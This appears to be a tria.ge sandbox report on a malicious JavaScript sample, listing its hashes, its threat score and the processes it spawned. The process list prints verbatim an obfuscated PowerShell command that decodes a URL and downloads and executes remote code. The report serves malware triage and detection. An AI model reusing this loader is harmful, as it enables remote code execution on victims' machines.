Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
120s -
max time network
121s -
platform
windows7_x64 -
resource
win7-20241010-en -
resource tags
-
submitted
21/12/2024, 15:19
General
-
Target
2423874dfe3b1baca8d6a8b977d6ab09aced4c68b73b5a6e43dee1a064f0dceb.js
-
Size
189KB
-
MD5
ad2007135c1da3391fd64348b58cd09c
-
SHA1
cf3bd333b404adce2b8c76918a5ec784d27ad238
-
SHA256
2423874dfe3b1baca8d6a8b977d6ab09aced4c68b73b5a6e43dee1a064f0dceb
-
SHA512
6d53ee59e0f5196cac9074e12cdbed71543fafaeaae982eb87e1ed9e5fd03b4edc4350413a5b73c55a166fb45545b4855dfe8fb875910ee75cbf7cdb82c40e35
-
SSDEEP
1536:nwZvKxBpe4KV9bY2xFezZHUv+oDm9Rm5944LxBpe4KV9bYMxFezZHUv+oDm9Rm5b:nvTtAeHUd9TteeHUdzeHUdXTtNTt/
Score
10/10
Malware Config
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
-
Command and Scripting Interpreter: JavaScript 1 TTPs
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\2423874dfe3b1baca8d6a8b977d6ab09aced4c68b73b5a6e43dee1a064f0dceb.js1⤵
-
C:\Windows\system32\conhost.execonhost --headless powershell $mshnzr='ur' ;new-alias printout c$($mshnzr)l;$rhuwot=(7679,7690,7698,7682,7684,7679,7699,7698,7703,7636,7698,7632,7679,7627,7697,7692,7693,7628,7630,7627,7693,7685,7693,7644,7696,7642,7690,7686,7691,7697,7696,7631,7630);$wdmposfv=('bronx','get-cmdlet');$sutoecqdrjvnx=$rhuwot;foreach($xjfnqkcd in $sutoecqdrjvnx){$zwrfntjbvce=$xjfnqkcd;$bsophku=$bsophku+[char]($zwrfntjbvce-7581);$lhmukgoatb=$bsophku; $mlwsqkebgxn=$lhmukgoatb};$iraedlwzbnkfsy[2]=$mlwsqkebgxn;$jeudagqhf='rl';$nxrszkjedgp=1;.$([char](9992-9887)+'e'+'x')(printout -useb $mlwsqkebgxn)1⤵
- Process spawned unexpected child process